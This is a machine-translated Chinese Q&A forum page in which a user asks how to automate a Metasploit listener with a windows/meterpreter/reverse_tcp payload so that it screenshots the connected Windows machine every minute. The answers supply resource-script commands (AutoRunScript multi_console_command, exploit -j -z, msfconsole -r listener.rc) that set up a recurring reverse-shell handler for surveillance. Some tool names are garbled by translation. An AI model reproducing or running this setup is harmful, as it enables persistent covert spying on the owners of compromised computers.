自动运行metasploit,然后运行metermeter命令

2024-06-17 10:17:29 发布

您现在位置:Python中文网/ 问答频道 /正文

我想每分钟自动运行metrporer命令,不幸的是,我没有足够的编程技能来制作bash脚本或python。 例如,我想自动执行以下操作:

msfconsole   
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
exploit 
Meterpreter session 1 opened
meterpreter > screenshot 

事实上每分钟都会自动截图


Tags: 命令脚本bashusewindows技能编程multi
2条回答

做些像

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
set AutoRunScript multi_console_command -rc commands.rc
exploit -j -z

在命令.rc把你的MeterMeter命令每行一个

我们可以侦听器.rc在

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 443
exploit -j -z

然后运行:

msfconsole -r ~/listener.rc

但如何添加meterMeter命令?在

相关问题 更多 >